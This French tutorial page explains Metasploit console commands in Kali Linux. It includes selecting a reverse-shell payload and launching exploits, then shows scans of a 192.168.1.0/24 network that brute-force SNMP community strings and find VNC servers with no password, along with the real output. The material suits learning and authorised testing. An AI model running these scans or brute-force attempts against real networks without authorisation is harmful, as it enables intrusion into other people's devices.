logo rss

Utiliser metasploit avec la distribution Kali Linux

Kali Linux logo

Metasploit Framework est une boite à outils qui permet de développer et exécuter des exploits (logiciels permettant d'exploiter à son profit une vulnérabilité) sur une ou plusieurs machines distantes.

L'outil est préinstallé dans la distribution Kali Linux.

Commandes

Principale

  • AccĂ©der Ă  la console msf :
kali@kali:~$ sudo msfconsole
  • Lister les commandes disponibles :
msf6 > help
  • Afficher les modules auxiliary :
msf6 > show auxiliary
  • Afficher les exploits :
msf6 > show exploits
  • Afficher les payloads :
msf6 > show payloads
  • Afficher les encoders :
msf6 > show encoders
  • Afficher les gĂ©nĂ©rateurs NOP :
msf6 > show nops
  • Afficher les paramètres et les options disponibles d'un module :
msf6 > show options
  • Afficher la liste des OS cibles supportĂ©s :
msf6 > show targets
  • Afficher les options pour un ou plusieurs modules :
msf6 > show options
  • Revenir en arrière :
msf6 > back
  • Afficher et gĂ©rer les taches :
msf6 > jobs
  • Équivalent des outils netcat et telnet :
msf6 > connect [ip] [port]

Base de données PostgreSQL

Metasploit Framework peut fonctionner avec PostgreSQL dans le but de sauvegarder les scans de ports et de vulnerabilités.

  • AccĂ©der Ă  la console msf :
kali@kali:~$ sudo msfconsole
  • Initialiser, DĂ©marrer et se Connecter :
msf6 > msfdb init msf6 > db_connect -y /usr/share/metasploit-framework/config/database.yml
  • Afficher l'Ă©tat du service de base de donnĂ©es :
msf6 > db_status
  • Lister les hĂ´tes prĂ©sents dans la base de donnĂ©es :
msf6 > hosts
  • Lister les services prĂ©sents dans la base de donnĂ©es :
msf6 > services

Recherche

  • Rechercher un exploit pour les système linux :
msf6 > search name:linux type:exploit
  • Appliquer un filtre tcp sur la recherche des systèmes linux :
msf6 > grep tcp search name:linux

Info

  • Obtenir des informations sur l'exploit :
msf6 > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index

Set

  • SĂ©lectionner le payload :
msf6 > set payloads payload/linux/x64/shell_reverse_tcp
  • ParamĂ©trer la variable :
msf6 > set RHOST kali.shebangthedolphins.net
  • ParamĂ©trer une variable globale :
msf6 > setg RHOST kali.shebangthedolphins.net
  • RĂ©initialiser une variable :
msf6 > unset RHOST msf6 > unsetg RHOST msf6 > unset all

Use

  • Choisir un exploit :
msf6 > use exploit/multi/http/strsuts2_namespace_ognl

Scans

  • Lancer un scan nmap et enregistrer les rĂ©sultats dans la base de donnĂ©es :
msf6 > db_nmap -T Aggressive -sV -n -O -v kali.shebangthedolphins.net

Exploit

  • Tester et vĂ©rifier l'exploit :
msf6 > check
  • Lancer l'exploit :
msf6 > exploit

Auxiliary

  • Lancer l'auxiliary :
msf6 > run

Exemples

Scénario 1 : SNMP

  • Chercher un outil SNMP :
msf6 > grep -i community search snmp 24 auxiliary/scanner/snmp/snmp_login normal No SNMP Community Login Scanner
  • Choisir l'auxiliary :
msf6 > use auxiliary/scanner/snmp/snmp_login
  • Afficher les paramètres de l'auxiliary :
msf6 auxiliary(scanner/snmp/snmp_login) > show options odule options (auxiliary/scanner/snmp/snmp_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm) PASSWORD no The password to test PASS_FILE /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt no File containing communities, one per line RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 161 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads (max one per host) USER_AS_PASS false no Try the username as the password for all users VERBOSE true yes Whether to print output for all attempts VERSION 1 yes The SNMP version to scan (Accepted: 1, 2c, all)
  • ParamĂ©trer la variable RHOSTS pour scanner le rĂ©seau 192.168.1.0/24 :
msf6 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24
  • ParamĂ©trer la variable THREADS (nombre de taches simultanĂ©es) Ă  254 :
msf6 auxiliary(scanner/snmp/snmp_login) > set THREADS 254 THREADS => 254
  • Lancer l'exploit :
msf6 auxiliary(scanner/snmp/snmp_login) > run [+] SNMP: 192.168.1.2 community string: 'public' info: 'GSM7224 L2 Managed Gigabit Switch' [+] SNMP: 192.168.1.199 community string: 'public' info: 'HP ETHERNET MULTI-ENVIRONMENT' [+] SNMP: 192.168.1.2 community string: 'private' info: 'GSM7224 L2 Managed Gigabit Switch' [+] SNMP: 192.168.1.199 community string: 'private' info: 'HP ETHERNET MULTI-ENVIRONMENT' [*] Validating scan results from 2 hosts... [*] Host 192.168.1.199 provides READ-WRITE access with community 'internal' [*] Host 192.168.1.199 provides READ-WRITE access with community 'private' [*] Host 192.168.1.199 provides READ-WRITE access with community 'public' [*] Host 192.168.1.2 provides READ-WRITE access with community 'private' [*] Host 192.168.1.2 provides READ-ONLY access with community 'public' [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed

Scénario 2 : VNC

Ici nous cherchons des serveurs vnc sans mot de passe dans le réseau 192.168.1.0/24.

  • Chercher l'exploit VNC :
msf6 > search vnc_none_auth atching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/vnc/vnc_none_auth normal No VNC Authentication None Detection
  • Choisir l'auxiliary :
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
  • Afficher les paramètres auxiliary :
msf6 auxiliary(scanner/snmp/snmp_login) > show options odule options (auxiliary/scanner/vnc/vnc_none_auth): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 5900 yes The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host)
  • ParamĂ©trer la variable RHOSTS afin de scanner le rĂ©seau 192.168.1.0/24 :
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24
  • ParamĂ©trer la variable THREADS (nombre de taches simultanĂ©es) Ă  254 :
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set THREADS 254 THREADS => 254
  • Lancer l'exploit :
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run [*] 192.168.1.143:5900 - 192.168.1.143:5900 - VNC server protocol version: 3.8 [*] 192.168.1.143:5900 - 192.168.1.143:5900 - VNC server security types supported: None [+] 192.168.1.143:5900 - 192.168.1.143:5900 - VNC server security types includes None, free access! [*] 192.168.1.0/24:5900 - Scanned 30 of 256 hosts (11% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 253 of 256 hosts (98% complete) [*] 192.168.1.0/24:5900 - Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

Contact :

adresse mail de contact